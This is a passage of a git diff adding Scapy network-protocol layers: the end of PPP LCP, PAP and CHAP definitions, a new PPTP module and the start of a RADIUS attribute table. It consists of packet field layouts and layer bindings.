+_PPP_LCP_auth_protocols = {0xc023: "Password authentication protocol",
+                           0xc223: "Challenge-response authentication protocol",
+                           0xc227: "PPP Extensible authentication protocol"}
+
+_PPP_LCP_CHAP_algorithms = {5: "MD5",
+                            6: "SHA1",
+                            128: "MS-CHAP",
+                            129: "MS-CHAP-v2"}
+
+
+class PPP_LCP_ACCM_Option(PPP_LCP_Option):
+    fields_desc = [ByteEnumField("type", 2, _PPP_lcp_optiontypes),
+                   FieldLenField("len", 6, fmt="B"),
+                   BitField("accm", 0x00000000, 32)]
+
+
+def adjust_auth_len(pkt, x):
+    if pkt.auth_protocol == 0xc223:
+        return 5
+    elif pkt.auth_protocol == 0xc023:
+        return 4
+    else:
+        return x + 4
+
+
+class PPP_LCP_Auth_Protocol_Option(PPP_LCP_Option):
+    fields_desc = [ByteEnumField("type", 3, _PPP_lcp_optiontypes),
+                   FieldLenField("len", None, fmt="B", length_of="data",
+                                 adjust=adjust_auth_len),
+                   ShortEnumField("auth_protocol", 0xc023, _PPP_LCP_auth_protocols),
+                   ConditionalField(StrLenField("data", '', length_from=lambda p:p.len-4),
+                                    lambda p:p.auth_protocol != 0xc223),
+                   ConditionalField(ByteEnumField("algorithm", 5, _PPP_LCP_CHAP_algorithms),
+                                    lambda p:p.auth_protocol == 0xc223)]
+
+
+_PPP_LCP_quality_protocols = {0xc025: "Link Quality Report"}
+
+
+class PPP_LCP_Quality_Protocol_Option(PPP_LCP_Option):
+    fields_desc = [ByteEnumField("type", 4, _PPP_lcp_optiontypes),
+                   FieldLenField("len", None, fmt="B", length_of="data",
+                                 adjust=lambda p,x:x+4),
+                   ShortEnumField("quality_protocol", 0xc025, _PPP_LCP_quality_protocols),
+                   StrLenField("data", "", length_from=lambda p:p.len-4)]
+
+
+class PPP_LCP_Magic_Number_Option(PPP_LCP_Option):
+    fields_desc = [ByteEnumField("type", 5, _PPP_lcp_optiontypes),
+                   FieldLenField("len", 6, fmt="B", adjust = lambda p,x:6),
+                   IntField("magic_number", None)]
+
+
+_PPP_lcp_callback_operations = {0: "Location determined by user authentication",
+                                1: "Dialing string",
+                                2: "Location identifier",
+                                3: "E.164 number",
+                                4: "Distinguished name"}
+
+
+class PPP_LCP_Callback_Option(PPP_LCP_Option):
+    fields_desc = [ByteEnumField("type", 13, _PPP_lcp_optiontypes),
+                   FieldLenField("len", None, fmt="B", length_of="message",
+                                 adjust=lambda p,x:x+3),
+                   ByteEnumField("operation", 0, _PPP_lcp_callback_operations),
+                   StrLenField("message", "", length_from=lambda p:p.len-3)]
+
+
+class PPP_LCP_Configure(PPP_LCP):
+    fields_desc = [ByteEnumField("code", 1, _PPP_lcptypes),
+                   XByteField("id", 0),
+                   FieldLenField("len", None, fmt="H", length_of="options",
+                                 adjust=lambda p,x:x+4),
+                   PacketListField("options", [], PPP_LCP_Option,
+                                   length_from=lambda p:p.len-4)]
+
+    def answers(self, other):
+        return isinstance(other, PPP_LCP_Configure) and self.code in [2, 3, 4]\
+           and other.code == 1 and other.id == self.id
+
+
+class PPP_LCP_Terminate(PPP_LCP):
+
+    def answers(self, other):
+        return isinstance(other, PPP_LCP_Terminate) and self.code == 6\
+           and other.code == 5 and other.id == self.id
+
+
+class PPP_LCP_Code_Reject(PPP_LCP):
+    fields_desc = [ByteEnumField("code", 7, _PPP_lcptypes),
+                   XByteField("id", 0),
+                   FieldLenField("len", None, fmt="H", length_of="rejected_packet",
+                                 adjust=lambda p,x:x+4),
+                   PacketField("rejected_packet", None, PPP_LCP)]
+
+
+class PPP_LCP_Protocol_Reject(PPP_LCP):
+    fields_desc = [ByteEnumField("code", 8, _PPP_lcptypes),
+                   XByteField("id", 0),
+                   FieldLenField("len", None, fmt="H", length_of="rejected_information",
+                                 adjust=lambda p,x:x+6),
+                   ShortEnumField("rejected_protocol", None, _PPP_proto),
+                   PacketField("rejected_information", None, Packet)]
+
+
+class PPP_LCP_Echo(PPP_LCP):
+     fields_desc = [ByteEnumField("code", 9, _PPP_lcptypes),
+                    XByteField("id", 0),
+                    FieldLenField("len", None, fmt="H", length_of="data",
+                                 adjust=lambda p,x:x+8),
+                    IntField("magic_number", None),
+                    StrLenField("data", "", length_from=lambda p:p.len-8)]
+
+     def answers(self, other):
+         return isinstance(other, PPP_LCP_Echo) and self.code == 10\
+            and other.code == 9 and self.id == other.id
+
+
+class PPP_LCP_Discard_Request(PPP_LCP):
+    fields_desc = [ByteEnumField("code", 11, _PPP_lcptypes),
+                   XByteField("id", 0),
+                   FieldLenField("len", None, fmt="H", length_of="data",
+                                 adjust=lambda p,x:x+8),
+                   IntField("magic_number", None),
+                   StrLenField("data", "", length_from=lambda p:p.len-8)]
+
+### Password authentication protocol (RFC 1334)
+
+_PPP_paptypes = {1: "Authenticate-Request",
+                 2: "Authenticate-Ack",
+                 3: "Authenticate-Nak"}
+
+
+class PPP_PAP(Packet):
+    name = "PPP Password Authentication Protocol"
+    fields_desc = [ByteEnumField("code", 1, _PPP_paptypes),
+                   XByteField("id", 0),
+                   FieldLenField("len", None, fmt="!H", length_of="data",
+                                 adjust=lambda _, x: x + 4),
+                   StrLenField("data", "", length_from=lambda p: p.len-4)]
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *_, **kargs):
+        code = None
+        if _pkt:
+            code = orb(_pkt[0])
+        elif "code" in kargs:
+            code = kargs["code"]
+            if isinstance(code, six.string_types):
+                code = cls.fields_desc[0].s2i[code]
+
+        if code == 1:
+            return PPP_PAP_Request
+        elif code in [2, 3]:
+            return PPP_PAP_Response
+        return cls
+
+    def extract_padding(self, pay):
+        return "", pay
+
+
+class PPP_PAP_Request(PPP_PAP):
+    fields_desc = [ByteEnumField("code", 1, _PPP_paptypes),
+                   XByteField("id", 0),
+                   FieldLenField("len", None, fmt="!H", length_of="username",
+                                 adjust=lambda p, x: x + 6 + len(p.password)),
+                   FieldLenField("username_len", None, fmt="B", length_of="username"),
+                   StrLenField("username", None, length_from=lambda p: p.username_len),
+                   FieldLenField("passwd_len", None, fmt="B", length_of="password"),
+                   StrLenField("password", None, length_from=lambda p: p.passwd_len)]
+
+    def mysummary(self):
+        return self.sprintf("PAP-Request username=%PPP_PAP_Request.username%" +
+                            " password=%PPP_PAP_Request.password%")
+
+
+class PPP_PAP_Response(PPP_PAP):
+    fields_desc = [ByteEnumField("code", 2, _PPP_paptypes),
+                   XByteField("id", 0),
+                   FieldLenField("len", None, fmt="!H", length_of="message",
+                                 adjust=lambda _, x: x + 5),
+                   FieldLenField("msg_len", None, fmt="B", length_of="message"),
+                   StrLenField("message", "", length_from=lambda p: p.msg_len)]
+
+    def answers(self, other):
+        return isinstance(other, PPP_PAP_Request) and other.id == self.id
+
+    def mysummary(self):
+        res = "PAP-Ack" if self.code == 2 else "PAP-Nak"
+        if self.msg_len > 0:
+            res += self.sprintf(" msg=%PPP_PAP_Response.message%")
+        return res
+
+
+### Challenge Handshake Authentication protocol (RFC1994)
+
+_PPP_chaptypes = {1: "Challenge",
+                  2: "Response",
+                  3: "Success",
+                  4: "Failure"}
+
+
+class PPP_CHAP(Packet):
+    name = "PPP Challenge Handshake Authentication Protocol"
+    fields_desc = [ByteEnumField("code", 1, _PPP_chaptypes),
+                   XByteField("id", 0),
+                   FieldLenField("len", None, fmt="!H", length_of="data",
+                                 adjust=lambda _, x: x + 4),
+                   StrLenField("data", "", length_from=lambda p: p.len - 4)]
+
+    def answers(self, other):
+        return isinstance(other, PPP_CHAP_ChallengeResponse) and other.code == 2\
+               and self.code in (3, 4) and self.id == other.id
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *_, **kargs):
+        code = None
+        if _pkt:
+            code = orb(_pkt[0])
+        elif "code" in kargs:
+            code = kargs["code"]
+            if isinstance(code, six.string_types):
+                code = cls.fields_desc[0].s2i[code]
+
+        if code in (1, 2):
+            return PPP_CHAP_ChallengeResponse
+        return cls
+
+    def extract_padding(self, pay):
+        return "", pay
+
+    def mysummary(self):
+        if self.code == 3:
+            return self.sprintf("CHAP Success message=%PPP_CHAP.data%")
+        elif self.code == 4:
+            return self.sprintf("CHAP Failure message=%PPP_CHAP.data%")
+
+
+class PPP_CHAP_ChallengeResponse(PPP_CHAP):
+    fields_desc = [ByteEnumField("code", 1, _PPP_chaptypes),
+                   XByteField("id", 0),
+                   FieldLenField("len", None, fmt="!H", length_of="value",
+                                 adjust=lambda p, x: x + len(p.optional_name) + 5),
+                   FieldLenField("value_size", None, fmt="B", length_of="value"),
+                   XStrLenField("value", b"\0"*8, length_from=lambda p: p.value_size),
+                   StrLenField("optional_name", "", length_from=lambda p: p.len - p.value_size - 5)]
+
+    def answers(self, other):
+        return isinstance(other, PPP_CHAP_ChallengeResponse) and other.code == 1\
+               and self.code == 2 and self.id == other.id
+
+    def mysummary(self):
+        if self.code == 1:
+            return self.sprintf("CHAP challenge=0x%PPP_CHAP_ChallengeResponse.value% " +
+                                "optional_name=%PPP_CHAP_ChallengeResponse.optional_name%")
+        elif self.code == 2:
+            return self.sprintf("CHAP response=0x%PPP_CHAP_ChallengeResponse.value% " +
+                                "optional_name=%PPP_CHAP_ChallengeResponse.optional_name%")
+        else:
+            return PPP_CHAP.mysummary(self)
+
+
+bind_layers( Ether,         PPPoED,        type=0x8863)
+bind_layers( Ether,         PPPoE,         type=0x8864)
+bind_layers( CookedLinux,   PPPoED,        proto=0x8863)
+bind_layers( CookedLinux,   PPPoE,         proto=0x8864)
+bind_layers( PPPoE,         PPP,           code=0)
+bind_layers( HDLC,          PPP,           )
+bind_layers( PPP,           EAP,           proto=0xc227)
+bind_layers( PPP,           IP,            proto=0x0021)
+bind_layers( PPP,           IPv6,          proto=0x0057)
+bind_layers( PPP,           PPP_CHAP,      proto=0xc223)
+bind_layers( PPP,           PPP_IPCP,      proto=0x8021)
+bind_layers( PPP,           PPP_ECP,       proto=0x8053)
+bind_layers( PPP,           PPP_LCP,       proto=0xc021)
+bind_layers( PPP,           PPP_PAP,       proto=0xc023)
+bind_layers( Ether,         PPP_IPCP,      type=0x8021)
+bind_layers( Ether,         PPP_ECP,       type=0x8053)
+bind_layers( GRE_PPTP,      PPP,           proto=0x880b)
+
+
+conf.l2types.register(DLT_PPP, PPP)
+conf.l2types.register(DLT_PPP_SERIAL, HDLC)
+conf.l2types.register(DLT_PPP_ETHER, PPPoE)
diff --git a/scapy/layers/pptp.py b/scapy/layers/pptp.py
new file mode 100644
index 0000000..6ec17c5
--- /dev/null
+++ b/scapy/layers/pptp.py
@@ -0,0 +1,374 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Jan Sebechlebsky <sebechlebskyjan@gmail.com>
+## This program is published under a GPLv2 license
+
+"""
+PPTP (Point to Point Tunneling Protocol)
+
+[RFC 2637]
+"""
+
+from scapy.packet import Packet, bind_layers
+from scapy.layers.inet import TCP
+from scapy.compat import *
+from scapy.fields import ByteEnumField, FieldLenField, FlagsField, IntField, IntEnumField,\
+                         LenField, XIntField, ShortField, ShortEnumField, StrFixedLenField,\
+                         StrLenField, XShortField, XByteField
+
+_PPTP_MAGIC_COOKIE = 0x1a2b3c4d
+
+_PPTP_msg_type = {1: "Control Message",
+                  2: "Managemenent Message"}
+
+_PPTP_ctrl_msg_type = {  # Control Connection Management
+                       1: "Start-Control-Connection-Request",
+                       2: "Start-Control-Connection-Reply",
+                       3: "Stop-Control-Connection-Request",
+                       4: "Stop-Control-Connection-Reply",
+                       5: "Echo-Request",
+                       6: "Echo-Reply",
+                       # Call Management
+                       7: "Outgoing-Call-Request",
+                       8: "Outgoing-Call-Reply",
+                       9: "Incoming-Call-Request",
+                       10: "Incoming-Call-Reply",
+                       11: "Incoming-Call-Connected",
+                       12: "Call-Clear-Request",
+                       13: "Call-Disconnect-Notify",
+                       # Error Reporting
+                       14: "WAN-Error-Notify",
+                       # PPP Session Control
+                       15: "Set-Link-Info"}
+
+_PPTP_general_error_code = {0: "None",
+                            1: "Not-Connected",
+                            2: "Bad-Format",
+                            3: "Bad-Value",
+                            4: "No-Resource",
+                            5: "Bad-Call ID",
+                            6: "PAC-Error"}
+
+
+class PPTP(Packet):
+    name = "PPTP"
+    fields_desc = [FieldLenField("len", None, fmt="H", length_of="data",
+                                 adjust=lambda p, x: x + 12),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 1, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   StrLenField("data", "",length_from=lambda p: p.len - 12)]
+
+    registered_options = {}
+
+    @classmethod
+    def register_variant(cls):
+        cls.registered_options[cls.ctrl_msg_type.default] = cls
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt:
+            o = orb(_pkt[9])
+            return cls.registered_options.get(o, cls)
+        return cls
+
+
+_PPTP_FRAMING_CAPABILITIES_FLAGS = ["Asynchronous Framing supported",
+                                    "Synchronous Framing supported"]
+
+_PPTP_BEARER_CAPABILITIES_FLAGS = ["Analog access supported",
+                                   "Digital access supported"]
+
+
+class PPTPStartControlConnectionRequest(PPTP):
+    name = "PPTP Start Control Connection Request"
+    fields_desc = [LenField("len", 156),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 1, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ShortField("protocol_version", 1),
+                   XShortField("reserved_1", 0x0000),
+                   FlagsField("framing_capabilities", 0, 32,
+                              _PPTP_FRAMING_CAPABILITIES_FLAGS),
+                   FlagsField("bearer_capabilities", 0, 32,
+                              _PPTP_BEARER_CAPABILITIES_FLAGS),
+                   ShortField("maximum_channels", 65535),
+                   ShortField("firmware_revision", 256),
+                   StrFixedLenField("host_name", "linux", 64),
+                   StrFixedLenField("vendor_string", "", 64)]
+
+_PPTP_start_control_connection_result = {1: "OK",
+                                         2: "General error",
+                                         3: "Command channel already exists",
+                                         4: "Not authorized",
+                                         5: "Unsupported protocol version"}
+
+
+class PPTPStartControlConnectionReply(PPTP):
+    name = "PPTP Start Control Connection Reply"
+    fields_desc = [LenField("len", 156),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 2, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ShortField("protocol_version", 1),
+                   ByteEnumField("result_code", 1,
+                                 _PPTP_start_control_connection_result),
+                   ByteEnumField("error_code", 0, _PPTP_general_error_code),
+                   FlagsField("framing_capabilities", 0, 32,
+                              _PPTP_FRAMING_CAPABILITIES_FLAGS),
+                   FlagsField("bearer_capabilities", 0, 32,
+                              _PPTP_BEARER_CAPABILITIES_FLAGS),
+                   ShortField("maximum_channels", 65535),
+                   ShortField("firmware_revision", 256),
+                   StrFixedLenField("host_name", "linux", 64),
+                   StrFixedLenField("vendor_string", "", 64)]
+
+    def answers(self, other):
+        return isinstance(other, PPTPStartControlConnectionRequest)
+
+
+_PPTP_stop_control_connection_reason = {1: "None",
+                                        2: "Stop-Protocol",
+                                        3: "Stop-Local-Shutdown"}
+
+
+class PPTPStopControlConnectionRequest(PPTP):
+    name = "PPTP Stop Control Connection Request"
+    fields_desc = [LenField("len", 16),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 3, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ByteEnumField("reason", 1,
+                                 _PPTP_stop_control_connection_reason),
+                   XByteField("reserved_1", 0x00),
+                   XShortField("reserved_2", 0x0000)]
+
+_PPTP_stop_control_connection_result = {1: "OK",
+                                        2: "General error"}
+
+
+class PPTPStopControlConnectionReply(PPTP):
+    name = "PPTP Stop Control Connection Reply"
+    fields_desc = [LenField("len", 16),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 4, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ByteEnumField("result_code", 1,
+                                 _PPTP_stop_control_connection_result),
+                   ByteEnumField("error_code", 0, _PPTP_general_error_code),
+                   XShortField("reserved_2", 0x0000)]
+
+    def answers(self, other):
+        return isinstance(other, PPTPStopControlConnectionRequest)
+
+
+class PPTPEchoRequest(PPTP):
+    name = "PPTP Echo Request"
+    fields_desc = [LenField("len", 16),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 5, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   IntField("identifier", None)]
+
+_PPTP_echo_result = {1: "OK",
+                     2: "General error"}
+
+
+class PPTPEchoReply(PPTP):
+    name = "PPTP Echo Reply"
+    fields_desc = [LenField("len", 20),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 6, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   IntField("identifier", None),
+                   ByteEnumField("result_code", 1, _PPTP_echo_result),
+                   ByteEnumField("error_code", 0, _PPTP_general_error_code),
+                   XShortField("reserved_1", 0x0000)]
+
+    def answers(self, other):
+        return isinstance(other, PPTPEchoRequest) and other.identifier == self.identifier
+
+_PPTP_bearer_type = {1: "Analog channel",
+                     2: "Digital channel",
+                     3: "Any type of channel"}
+
+_PPTP_framing_type = {1: "Asynchronous framing",
+                      2: "Synchronous framing",
+                      3: "Any type of framing"}
+
+
+class PPTPOutgoingCallRequest(PPTP):
+    name = "PPTP Outgoing Call Request"
+    fields_desc = [LenField("len", 168),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 7, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ShortField("call_id", 1),
+                   ShortField("call_serial_number", 0),
+                   IntField("minimum_bps", 32768),
+                   IntField("maximum_bps", 2147483648),
+                   IntEnumField("bearer_type", 3, _PPTP_bearer_type),
+                   IntEnumField("framing_type", 3, _PPTP_framing_type),
+                   ShortField("pkt_window_size", 16),
+                   ShortField("pkt_proc_delay", 0),
+                   ShortField('phone_number_len', 0),
+                   XShortField("reserved_1", 0x0000),
+                   StrFixedLenField("phone_number", '', 64),
+                   StrFixedLenField("subaddress", '', 64)]
+
+_PPTP_result_code = {1: "Connected",
+                     2: "General error",
+                     3: "No Carrier",
+                     4: "Busy",
+                     5: "No dial tone",
+                     6: "Time-out",
+                     7: "Do not accept"}
+
+
+class PPTPOutgoingCallReply(PPTP):
+    name = "PPTP Outgoing Call Reply"
+    fields_desc = [LenField("len", 32),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 8, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ShortField("call_id", 1),
+                   ShortField("peer_call_id", 1),
+                   ByteEnumField("result_code", 1, _PPTP_result_code),
+                   ByteEnumField("error_code", 0, _PPTP_general_error_code),
+                   ShortField("cause_code", 0),
+                   IntField("connect_speed", 100000000),
+                   ShortField("pkt_window_size", 16),
+                   ShortField("pkt_proc_delay", 0),
+                   IntField("channel_id", 0)]
+
+    def answers(self, other):
+        return isinstance(other, PPTPOutgoingCallRequest) and other.call_id == self.peer_call_id
+
+
+class PPTPIncomingCallRequest(PPTP):
+    name = "PPTP Incoming Call Request"
+    fields_desc = [LenField("len", 220),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 9, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ShortField("call_id", 1),
+                   ShortField("call_serial_number", 1),
+                   IntEnumField("bearer_type", 3, _PPTP_bearer_type),
+                   IntField("channel_id", 0),
+                   ShortField("dialed_number_len", 0),
+                   ShortField("dialing_number_len", 0),
+                   StrFixedLenField("dialed_number", "", 64),
+                   StrFixedLenField("dialing_number", "", 64),
+                   StrFixedLenField("subaddress", "", 64)]
+
+
+class PPTPIncomingCallReply(PPTP):
+    name = "PPTP Incoming Call Reply"
+    fields_desc = [LenField("len", 148),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 10, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ShortField("call_id", 1),
+                   ShortField("peer_call_id", 1),
+                   ByteEnumField("result_code", 1, _PPTP_result_code),
+                   ByteEnumField("error_code", 0, _PPTP_general_error_code),
+                   ShortField("pkt_window_size", 64),
+                   ShortField("pkt_transmit_delay", 0),
+                   XShortField("reserved_1", 0x0000)]
+
+    def answers(self, other):
+        return isinstance(other, PPTPIncomingCallRequest) and other.call_id == self.peer_call_id
+
+
+class PPTPIncomingCallConnected(PPTP):
+    name = "PPTP Incoming Call Connected"
+    fields_desc = [LenField("len", 28),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 11, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ShortField("peer_call_id", 1),
+                   XShortField("reserved_1", 0x0000),
+                   IntField("connect_speed", 100000000),
+                   ShortField("pkt_window_size", 64),
+                   ShortField("pkt_transmit_delay", 0),
+                   IntEnumField("framing_type", 1, _PPTP_framing_type)]
+
+    def answers(self, other):
+        return isinstance(other, PPTPIncomingCallReply) and other.call_id == self.peer_call_id
+
+
+class PPTPCallClearRequest(PPTP):
+    name = "PPTP Call Clear Request"
+    fields_desc = [LenField("len", 16),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 12, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ShortField("call_id", 1),
+                   XShortField("reserved_1", 0x0000)]
+
+_PPTP_call_disconnect_result = {1: "Lost Carrier",
+                                2: "General error",
+                                3: "Admin Shutdown",
+                                4: "Request"}
+
+
+class PPTPCallDisconnectNotify(PPTP):
+    name = "PPTP Call Disconnect Notify"
+    fields_desc = [LenField("len", 148),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 13, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ShortField("call_id", 1),
+                   ByteEnumField("result_code", 1,
+                                 _PPTP_call_disconnect_result),
+                   ByteEnumField("error_code", 0, _PPTP_general_error_code),
+                   ShortField("cause_code", 0),
+                   XShortField("reserved_1", 0x0000),
+                   StrFixedLenField("call_statistic", "", 128)]
+
+
+class PPTPWANErrorNotify(PPTP):
+    name = "PPTP WAN Error Notify"
+    fields_desc = [LenField("len", 40),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 14, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ShortField("peer_call_id", 1),
+                   XShortField("reserved_1", 0x0000),
+                   IntField("crc_errors", 0),
+                   IntField("framing_errors", 0),
+                   IntField("hardware_overruns", 0),
+                   IntField("buffer_overruns", 0),
+                   IntField("time_out_errors", 0),
+                   IntField("alignment_errors", 0)]
+
+
+class PPTPSetLinkInfo(PPTP):
+    name = "PPTP Set Link Info"
+    fields_desc = [LenField("len", 24),
+                   ShortEnumField("type", 1, _PPTP_msg_type),
+                   XIntField("magic_cookie", _PPTP_MAGIC_COOKIE),
+                   ShortEnumField("ctrl_msg_type", 15, _PPTP_ctrl_msg_type),
+                   XShortField("reserved_0", 0x0000),
+                   ShortField("peer_call_id", 1),
+                   XShortField("reserved_1", 0x0000),
+                   XIntField("send_accm", 0x00000000),
+                   XIntField("receive_accm", 0x00000000)]
+
+bind_layers(TCP, PPTP, sport=1723)
+bind_layers(TCP, PPTP, dport=1723)
diff --git a/scapy/layers/radius.py b/scapy/layers/radius.py
new file mode 100644
index 0000000..be7b549
--- /dev/null
+++ b/scapy/layers/radius.py
@@ -0,0 +1,1176 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+##               Vincent Mauge   <vmauge.nospam@nospam.gmail.com>
+## This program is published under a GPLv2 license
+
+"""
+RADIUS (Remote Authentication Dial In User Service)
+"""
+
+import struct
+import logging
+import hashlib
+import hmac
+from scapy.compat import *
+from scapy.packet import Packet, bind_layers
+from scapy.fields import ByteField, ByteEnumField, IntField, StrLenField,\
+    XStrLenField, XStrFixedLenField, FieldLenField, PacketField,\
+    PacketListField, IPField, MultiEnumField
+from scapy.layers.inet import UDP
+from scapy.layers.eap import EAP
+from scapy.config import conf
+from scapy.error import Scapy_Exception
+
+
+# https://www.iana.org/assignments/radius-types/radius-types.xhtml
+_radius_attribute_types = {
+    1: "User-Name",
+    2: "User-Password",
+    3: "CHAP-Password",
+    4: "NAS-IP-Address",
+    5: "NAS-Port",
+    6: "Service-Type",
+    7: "Framed-Protocol",
+    8: "Framed-IP-Address",
+    9: "Framed-IP-Netmask",
+    10: "Framed-Routing",
+    11: "Filter-Id",
+    12: "Framed-MTU",
+    13: "Framed-Compression",
+    14: "Login-IP-Host",
+    15: "Login-Service",
+    16: "Login-TCP-Port",
+    17: "Unassigned",
+    18: "Reply-Message",
+    19: "Callback-Number",
+    20: "Callback-Id",
+    21: "Unassigned",
+    22: "Framed-Route",
+    23: "Framed-IPX-Network",
+    24: "State",
+    25: "Class",
+    26: "Vendor-Specific",
+    27: "Session-Timeout",
+    28: "Idle-Timeout",
+    29: "Termination-Action",
+    30: "Called-Station-Id",
+    31: "Calling-Station-Id",
+    32: "NAS-Identifier",
+    33: "Proxy-State",
+    34: "Login-LAT-Service",
+    35: "Login-LAT-Node",
+    36: "Login-LAT-Group",
+    37: "Framed-AppleTalk-Link",
+    38: "Framed-AppleTalk-Network",
+    39: "Framed-AppleTalk-Zone",
+    40: "Acct-Status-Type",
+    41: "Acct-Delay-Time",
+    42: "Acct-Input-Octets",
+    43: "Acct-Output-Octets",
+    44: "Acct-Session-Id",
+    45: "Acct-Authentic",
+    46: "Acct-Session-Time",
+    47: "Acct-Input-Packets",
+    48: "Acct-Output-Packets",
+    49: "Acct-Terminate-Cause",
+    50: "Acct-Multi-Session-Id",
+    51: "Acct-Link-Count",
+    52: "Acct-Input-Gigawords",
+    53: "Acct-Output-Gigawords",
+    54: "Unassigned",
+    55: "Event-Timestamp",
+    56: "Egress-VLANID",
+    57: "Ingress-Filters",
+    58: "Egress-VLAN-Name",
+    59: "User-Priority-Table",
+    60: "CHAP-Challenge",
+    61: "NAS-Port-Type",
+    62: "Port-Limit",
+    63: "Login-LAT-Port",
+    64: "Tunnel-Type",
+    65: "Tunnel-Medium-Type",
+    66: "Tunnel-Client-Endpoint",
+    67: "Tunnel-Server-Endpoint",
+    68: "Acct-Tunnel-Connection",
+    69: "Tunnel-Password",
+    70: "ARAP-Password",
+    71: "ARAP-Features",
+    72: "ARAP-Zone-Access",
+    73: "ARAP-Security",
+    74: "ARAP-Security-Data",
+    75: "Password-Retry",
+    76: "Prompt",
+    77: "Connect-Info",
+    78: "Configuration-Token",
+    79: "EAP-Message",
+    80: "Message-Authenticator",
+    81: "Tunnel-Private-Group-ID",
+    82: "Tunnel-Assignment-ID",
+    83: "Tunnel-Preference",
+    84: "ARAP-Challenge-Response",
+    85: "Acct-Interim-Interval",
+    86: "Acct-Tunnel-Packets-Lost",
+    87: "NAS-Port-Id",
+    88: "Framed-Pool",
+    89: "CUI",
+    90: "Tunnel-Client-Auth-ID",
+    91: "Tunnel-Server-Auth-ID",
+    92: "NAS-Filter-Rule",
+    93: "Unassigned",
+    94: "Originating-Line-Info",
+    95: "NAS-IPv6-Address",
+    96: "Framed-Interface-Id",
+    97: "Framed-IPv6-Prefix",
+    98: "Login-IPv6-Host",
+    99: "Framed-IPv6-Route",
+    100: "Framed-IPv6-Pool",
+    101: "Error-Cause",
+    102: "EAP-Key-Name",
+    103: "Digest-Response",
+    104: "Digest-Realm",
+    105: "Digest-Nonce",
+    106: "Digest-Response-Auth",
+    107: "Digest-Nextnonce",
+    108: "Digest-Method",
+    109: "Digest-URI",
+    110: "Digest-Qop",
+    111: "Digest-Algorithm",
+    112: "Digest-Entity-Body-Hash",
+    113: "Digest-CNonce",
+    114: "Digest-Nonce-Count",
+    115: "Digest-Username",
+    116: "Digest-Opaque",
+    117: "Digest-Auth-Param",
+    118: "Digest-AKA-Auts",
+    119: "Digest-Domain",
+    120: "Digest-Stale",
+    121: "Digest-HA1",
+    122: "SIP-AOR",
+    123: "Delegated-IPv6-Prefix",
+    124: "MIP6-Feature-Vector",
+    125: "MIP6-Home-Link-Prefix",
+    126: "Operator-Name",
+    127: "Location-Information",
+    128: "Location-Data",
+    129: "Basic-Location-Policy-Rules",
+    130: "Extended-Location-Policy-Rules",
+    131: "Location-Capable",
